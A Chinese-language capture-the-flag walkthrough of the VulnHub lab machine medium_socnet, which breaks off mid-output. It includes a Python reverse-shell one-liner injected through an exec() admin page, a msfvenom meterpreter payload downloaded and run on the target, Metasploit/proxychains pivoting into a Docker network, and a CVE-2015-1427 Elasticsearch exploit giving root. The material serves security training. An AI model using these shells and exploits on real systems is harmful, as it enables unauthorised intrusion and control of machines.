靶機: medium_socnet
靶機: medium_socnet
準備工作
需要你確定的事情:
- 確定 kali 已經安裝,並且能正常使用【本文不涉及 kali 安裝配置】
- VirtualBox 以前能正常導入虛擬文件 ova 能正常使用
- 下載靶機: //www.vulnhub.com/entry/boredbackerblog-social-network,454/ 如果下載過慢可以使用下載器【迅雷、Mortrix …】,下載後需要進行 SHA1 或 MD5 驗證 確定下載文件是否 有損或被篡改
靶機安裝時部分錯誤解決方法【註:安裝於 VirtualBox 】
-
網絡設置為 僅主機模式 (Host-only)
-
使用 VirtualBox 啟動虛擬機系統時碰到「不能為虛擬電腦打開一個新的任務」的錯誤提示,並提示
Implementation of the USB 2.0 controller not found!
Implementation of the USB 2.0 controller not found! Because the USB 2.0 controller state is part of the saved VM state, the VM cannot be started. To fix this problem, either install the 'Oracle VM VirtualBox Extension Pack' or disable USB 2.0 support in the VM settings. Note! This error could also mean that an incompatible version of the 'Oracle VM VirtualBox Extension Pack' is installed (VERR_NOT_FOUND).
解決方法是在 設置 –> USB設備: 「USB 1.1 控制器」
Kali 網絡配置:
-
kali 在 VMware 上配置雙網卡:橋接模式 + NAT模式;使用 VMware 虛擬網絡編輯器【以管理員身份打開】:將橋接模式的網卡 VMnet0 的橋接(G) 到 VirtualBox 網卡
- 網絡適配器1:配置為橋接模式
- 網絡適配器2:NAT模式
-
kali 在 VirtualBox 上配置雙網卡:Host-only模式 + NAT模式;在 kali 的設置中網絡選項
- 網卡1:Host-only模式 (僅主機模式)
- 網卡2:NAT模式
兩種位置,最後都要打開 kali 進行調試,如果不會 vim 先查看一下使用方法避免錯誤操作
# 在命令行,使用前確定你是否是 root 如果不是需要添加 sudo vim /etc/network/interfaces
vim 寫入內容【 interfaces 文件最後】
auto eth1 iface eth1 inet dhcp
退出 vim 後在 命令行中
# 重啟網絡服務 service networking restart # 查看網絡配置,確認 eth0 與 eth1 的 ip 配置是否正常 ip a
如果在
ip a
有部分問題可以重啟 kali 再查看,如果網絡配置依舊有問題,建議學習一下 Linux 網絡配置的基本知識
開始打靶
第一步:鎖定目標
可以使用 arp-scan
一類掃描工具,在使用工具前都需要 注意自身權限問題 ,必要時使用 sudo
-
arp-scan: 使用命令
arp-scan -l
掃描-
此命令是默認掃描,通過 eth0 進行的,如果你配置網絡時 kali 與 靶機對接的網絡是 eth1 需要指定掃描的接口 使用
--interface=
參數,此參數可以簡寫I
arp-scan -l --interface=eth1 # 或者 arp-scan -l -I eth1
-
通過 arp-scan 掃描得到信息:
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1
Interface: eth1, type: EN10MB, MAC: 08:00:27:f1:f5:a6, IPv4: 192.168.56.103
Starting arp-scan 1.9.7 with 256 hosts (//github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
192.168.56.100 08:00:27:ef:45:40 PCS Systemtechnik GmbH
192.168.56.101 08:00:27:ff:2c:c8 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.294 seconds (111.60 hosts/sec). 3 responded
第二步:端口掃描
我們可以大概鎖定以下目標,使用 nmap 進行對端口進行探索
192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
192.168.56.100 08:00:27:ef:45:40 PCS Systemtechnik GmbH
192.168.56.101 08:00:27:ff:2c:c8 PCS Systemtechnik GmbH
-
nmap: 比較簡單的用法
nmap IP地址
- 參數
-p
掃描端口,如果是全部端口使用-
指代,比如:nmap -p- 192.168.56.101
- 參數
-sV
對端口上的服務程序版本進行掃描
- 參數
在掃描中發現 192.168.56.101
開發端口 22,5000
┌──(kali㉿kali)-[~]
└─$ nmap -p- 192.168.56.101
Starting Nmap 7.93 ( //nmap.org ) at 2022-10-18 11:24 CST
Nmap scan report for 192.168.56.101
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds
對 192.168.56.101
開發端口 22,5000 進一步掃描發現兩個端口的服務程序版本
- 22: ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
- 5000: http Werkzeug httpd 0.14.1 (Python 2.7.15)
┌──(kali㉿kali)-[~]
└─$ nmap -p22,5000 -sV 192.168.56.101
Starting Nmap 7.93 ( //nmap.org ) at 2022-10-18 11:31 CST
Nmap scan report for 192.168.56.101
Host is up (0.00078s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at //nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds
其中 5000 有 http 服務可以嘗試在瀏覽器中訪問一下 //192.168.56.101:5000
- 在網頁中並沒有什麼特別的,唯一有的一個數據輸入點上也不能注入
- 可以使用爬蟲類程序,探查 Web 應用是否存在 隱藏路徑
第三步:攻擊方式判斷
使用工具 dirsearch
進行探查
- dirsearch 的基本參數
--url=
,比如:dirsearch --url=//192.168.56.101:5000/
使用 dirsearch 進行簡單探查發現隱藏目錄 /admin
其中 admin 英文含義就可以知道這個隱藏頁面與管理員可能有關係,可以對其訪問 //192.168.56.101:5000/admin
┌──(kali㉿kali)-[~]
└─$ dirsearch --url=//192.168.56.101:5000/ 130 ⨯
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/kali/.dirsearch/reports/192.168.56.101-5000/-_22-10-18_11-40-29.txt
Error Log: /home/kali/.dirsearch/logs/errors-22-10-18_11-40-29.log
Target: //192.168.56.101:5000/
[11:40:29] Starting:
[11:40:58] 200 - 401B - /admin
Task Completed
訪問後發現,裏面的提示 Nothing was ran. Input some code to exec()
此內容與 python 相關,在前面端口探測中也知道此網站是 Werkzeug httpd 0.14.1 (Python 2.7.15)
而 Python 2.7.15 的 exec() 常用於存儲在字符串中的代碼語句執行,那麼我們可以嘗試查找關於 Python 2.7.15
反彈 shell 的代碼,通過 exec() 進入 192.168.56.101
這台機器了
-
Python 2.7.15
反彈 shell-
首先我們需要開啟 kali 的監聽,監聽可以使用命令
netcat
也可以使用簡化命令nc
netcat 部分參數
- -l 偵聽模式,用於入站連接
- -n 禁止名稱/端口解析
- -p 端口本地端口號,端口號可以是單獨的,也可以是範圍
- -v 信息細化,連用兩次可以獲得更詳細的信息
# 使用端口注意,建議使用端口是 1024~49151 範圍以內 # 公認端口:0~1023 # 註冊端口:1024~49151 # 動態端口:49152~65535 netcat -lnvp 23333
-
在
//192.168.56.101:5000/admin
頁面內容注入 python 代碼import os,subprocess,socket # 創建套接字 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # socket.AF_INET代表使用IPv4協議,socket.SOCK_STREAM 代表使用面向流的Tcp協議 # 創建通信 s.connect(('192.168.56.103',23333)) # 重定向,保障通信的輸入與輸出 os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) # 生成反彈的 shell p=subprocess.call(["/bin/sh","-i"]) # 使用時壓縮上面的代碼,以便 exec() 執行 import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.56.103',23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
最終得到響應的反射 shell 結果,從此處我們就可以控制
192.168.56.101
這台機器了,並且有 root 級別權限┌──(kali㉿kali)-[~] └─$ netcat -lnvp 23333 listening on [any] 23333 ... connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933 /app # ls Dockerfile main.py requirements.txt templates /app # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
-
但我們還需要進一步深入探索,排除是否處在容器或蜜罐陷阱中
內網滲透
挖掘潛在價值
首先探索一下目錄內容,查看是否有什麼特別的
┌──(kali㉿kali)-[~]
└─$ netcat -lnvp 23333
listening on [any] 23333 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933
/app # ls
Dockerfile
main.py
requirements.txt
templates
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app # cat ./Dockerfile
#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine
COPY . /app
WORKDIR /app
RUN pip install -r requirements.txt
CMD ["python", "/app/main.py"]
發現其中有 Dockerfile 文件,查看裏面的 發現我們可能處在容器中
- 查看根目錄中是否存在
.dockerenv
文件 - 查看
/proc/1/cgroup
中的內容是否大量與 docker 有關
/app # ls /.dockerenv
/.dockerenv
/app # cat /proc/1/cgroup
11:hugetlb:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
10:perf_event:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
9:blkio:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
8:freezer:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
7:devices:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
6:memory:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
5:cpuacct:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
4:cpu:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
3:cpuset:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
2:name=systemd:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
自此已經有相當大的把握確定我們處在容器中
服務代理
內網流量代理
- 正向代理 (Forward Proxy) 通常應用在目標有防火牆或者不出網,我們能訪問它的情況下:
Client -> proxy -> Target
- 反向代理 (Reverse Proxy) 通常應用在目標有防火牆或者不允許外界訪問,但是它們能訪問我們的情況下:
Client <--> proxy <--> firewall <--> Target
代理需要關注 Socks 協議,代理工具一般的版本支持
- SOCKS4: 支持TELNET、FTPHTTP等TCP協議
- SOCKS5: 支持TCP與UDP,並支持安全認證方案
代理工具
- 端口轉發工具:NC, LCX, regGorg, venom, ngrock …
- 代理鏈工具:proxychains(Linux), proxifier(windows) …
MSF 內網穿透
本處我們使用 MSF 進行內網穿透,如果沒有 kali 安裝命令 sudo apt-get install metasploit-framework
-
首頁使用
msfvenom
生成linux/x64/meterpreter/reverse_tcp
模塊的木馬msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.56.103 lpost=4444 -f elf -o s.elf
-
上傳生成的木馬 shell.elf 通過在本地當前目錄【shell.elf 所在的目錄】使用
python3 -m http.server 80
掛起一個 HTTP 服務 -
在目標容器系統中使用
wget
命令 [wget httlp://kali的ip地址/shell.elf] 下載本地的 shell.elf 之後使用 ls 命令確認其存在 -
在 kali 上使用
msfconsole
命令後執行下列代碼>
掛起kali本地自己192.168.56.103:4444
的監聽msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.56.103 lhost => 192.168.56.103 msf6 exploit(multi/handler) > set lport 4444 lport => 4444 msf6 exploit(multi/handler) > run
-
在目標容器系統中改 shell.elf 文件權限,使其可以執行並將其執行,也可以
chmod +x ./shell.elf && ./shell.elf
之後查看 kali 是否響應/app # chmod +x ./shell.elf /app # ./shell.elf
在響應後使用 shell
調用目標容器系統 shell 進行簡單的探查,比如使用 ip a
查看目標容器系統的內網狀態,確定其內網網段 172.17.0.3/16
後使用 exit;
退出
```txt
[*] Started reverse TCP handler on 192.168.56.103:4444
[*] Sending stage (3045348 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.103:4444 -> 192.168.56.101:36424) at 2022-10-19 17:38:38 +0800
meterpreter > shell
Process 18 created.
Channel 1 created.
ls
Dockerfile
main.py
requirements.txt
shell.elf
templates
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
6: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
exit
```
-
將獲取的網段
172.17.0.3/16
->172.17.0.0/16
添加路由run autoroute -s 172.17.0.0/16
命令,查看是否成功添加run autoroute -p
meterpreter > run autoroute -s 172.17.0.0/16 [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] [*] Adding a route to 172.17.0.0/255.255.0.0... [+] Added route to 172.17.0.0/255.255.0.0 via 192.168.56.101 [*] Use the -p option to list all active routes meterpreter > run autoroute -p [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 172.17.0.0 255.255.0.0 Session 1
-
創建成功之後我們將當前的會話掛起,使用
background
是將當前 msf 會話掛起,想重新利用會話使用sessions -i
其中 i 是會話編號meterpreter > background [*] Backgrounding session 1...
好的,我們已經完成了最重要的一般,接下來是 socks 代理
-
繼續前面的,使用
use auxiliary/server/socks_proxy
進入代理模塊- 設置服務版本
set VERSION 4a
- 設置 IP
set SRVHOST Kali的IP
- 查看配置是否正確
show options
- 收尾
exploit
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > set VERSION 4a VERSION => 4a msf6 auxiliary(server/socks_proxy) > set SRVHOST 192.168.56.103 SRVHOST => 192.168.56.103 msf6 auxiliary(server/socks_proxy) > show options Module options (auxiliary/server/socks_proxy): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 192.168.56.103 yes The local host or network interface to listen on. This must be an address on the l ocal machine or 0.0.0.0 to listen on all addresses. SRVPORT 1080 yes The port to listen on VERSION 4a yes The SOCKS version to use (Accepted: 4a, 5) Auxiliary action: Name Description ---- ----------- Proxy Run a SOCKS proxy server msf6 auxiliary(server/socks_proxy) > exploit [*] Auxiliary module running as background job 0. [*] Starting the SOCKS proxy server
- 設置服務版本
-
下一步,配置本地 proxychains 代理鏈工具【先確定是否安裝,推薦使用新的 proxychains4】,上面的 shell 不用關閉,再開一個 kali 的 shell 並且在新的命令行使用命令,配置 proxychains 的代理列表添加
socks4 [上面 set SRVHOST 的 IP 地址] [上面的 SRVPORT]
touch proxychains.conf # 創建目錄級的 proxychains 配置文件,我們不污染系統級的配置文件 sudo cat /etc/proxychains4.conf > ./proxychains.conf # 將系統級的配置文件復刻到當前目錄的配置文件 proxychains.conf vim ./proxychains.conf # 只需要修改最後一行 socks4 127.0.0.1 9050 改為 socks4 192.168.56.103 1080
-
完成整個代理步驟後可以通過
proxychains
或proxychains4
作為其他命令前綴探索內網,但我們使用的是目錄級 proxychains 配置文件實驗需要使用-f
參數指定配置文件proxychains4 -f ./proxychains.conf nmap -Pn -sT 172.17.0.0/24 # 172.17.0.0/24 是目標容器系統的內網網段,掃描過程中可能會比較費時【段掃描數量太大】
我們使用之前 msf 的那個 shell 執行
sessions -1
回到之前的掛起的會話,使用arp a
簡單說明判斷其他存活的 ipmeterpreter > arp -a ARP cache ========= IP address MAC address Interface ---------- ----------- --------- 172.17.0.1 02:42:e9:66:7d:b6
用 proxychains 的那個 shell 執行 nmap 掃描
172.17.0.1
┌──(kali㉿kali)-[~/Workspace] └─$ proxychains4 -f ./proxychains.conf nmap 172.17.0.1 [proxychains] config file found: ./proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 Starting Nmap 7.93 ( //nmap.org ) at 2022-10-19 19:15 CST [proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:80 <--denied [proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:25 <--denied [proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:993 <--denied ...... [proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:555 <--denied [proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:2047 <--denied Nmap scan report for 172.17.0.1 Host is up (0.0074s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds
開始正餐
行好,我們已經可以在目標容器內網使用 kali 了,下面我們真正的目標發起攻擊
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf nmap -p22,5000 -Pn -sT -sV 172.17.0.1 255 ⨯
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( //nmap.org ) at 2022-10-19 20:24 CST
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:22 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:22 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
Nmap scan report for 172.17.0.1
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at //nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
- 發現與我們之前的目標容器非常相似,我們可以使用 firefox 設置代理訪問
//172.17.0.1:5000
瀏覽器代理方法自行百度,重點使用手動配置代理配置SOCKS 主機
與前面 proxychains.conf 一致 - 訪問網頁的結果與之前的相同,可以判斷
172.17.0.1
便是之前192.168.56.101
的宿主機
測試探索 172.17.0.2
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf nmap -Pn -sT -sV 172.17.0.2 130 ⨯
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( //nmap.org ) at 2022-10-19 20:39 CST
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.2:1720 <--denied
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.2:1025 <--denied
......
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.2:9200 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.2:9200 ... OK
Nmap scan report for 172.17.0.2
Host is up (0.0066s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
9200/tcp open http Elasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2)
Service detection performed. Please report any incorrect results at //nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.58 seconds
-
發現新線索,
172.17.0.2
的 9200 端口開啟,運行服務 Elasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2) 說明:Elasticsearch 是位於 Elastic Stack 核心的分佈式搜索和分析引擎 -
此處我們可以使用
searchsploit
查詢 Elasticsearch 相關漏洞並嘗試,攻入其中──(kali㉿kali)-[~/Workspace] └─$ searchsploit Elasticse 130 ⨯ ----------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------------------------------------- --------------------------------- ElasticSearch - Remote Code Execution | linux/remote/36337.py ElasticSearch - Remote Code Execution | multiple/webapps/33370.html ElasticSearch - Search Groovy Sandbox Bypass (Metasploit) | java/remote/36415.rb ElasticSearch 1.6.0 - Arbitrary File Download | linux/webapps/38383.py ElasticSearch 7.13.3 - Memory disclosure | multiple/webapps/50149.py ElasticSearch < 1.4.5 / < 1.5.2 - Directory Traversal | php/webapps/37054.py ElasticSearch Dynamic Script - Arbitrary Java Execution (Metasploit) | java/remote/33588.rb Elasticsearch ECE 7.13.3 - Anonymous Database Dump | multiple/webapps/50152.py ----------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
-
嘗試一個
/usr/share/exploitdb/exploits/linux/remote/36337.py
但注意是否安裝python2
以及其requests
如果沒有使用以下代碼sudo apt-get install python2 # 安裝 python2 wget //bootstrap.pypa.io/pip/2.7/get-pip.py && python2 get-pip.py # 安裝 python2 的 pip2 如果有就跳過此步 python2 -m pip install requests # 安裝 requests 包 proxychains4 -f ./proxychains.conf python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2 # 利用 36337.py 腳本
進入其中
──(kali㉿kali)-[~/Workspace] └─$ proxychains4 -f ./proxychains.conf python2 36337.py 172.17.0.2 [proxychains] config file found: ./proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 ▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒ ▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░ ▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒ ░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░ ░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ Exploit for ElasticSearch , CVE-2015-1427 Version: 20150309.1 {*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something ~$
可以看到下面報錯了,查看錯誤是 ElasticSearch Groovy 沙盒繞過 && 代碼執行漏洞(CVE-2015-1427) 想要要利用需要先查詢時至少要求es中有一條數據,所以發送如下數據包,增加一個數據
┌──(kali㉿kali)-[~/Workspace] └─$ proxychains python2 a.py 172.17.0.2 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 ▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒ ▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░ ▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒ ░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░ ░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ Exploit for ElasticSearch , CVE-2015-1427 Version: 20150309.1 {*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something ~$ id [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.2:9200 ... OK uid=0(root) gid=0(root) groups=0(root) ~$
使用
curl
在 Elasticsearch 添加一條數據curl -XPOST '//172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}'
┌──(kali㉿kali)-[~/Workspace] └─$ proxychains curl -XPOST '//172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}' 1 ⨯ [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 [proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.2:9200 ... OK {"_index":"doc","_type":"test","_id":"AYP5xrq3R3Be1eJ72Xz3","_version":1,"created":true} ┌──(kali㉿kali)-[~/Workspace] └─$ proxychains python2 a.py 172.17.0.2 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 ▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒ ▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░ ▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒ ░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░ ░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ Exploit for ElasticSearch , CVE-2015-1427 Version: 20150309.1 {*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something ~$ id [proxychains] Strict chain ... 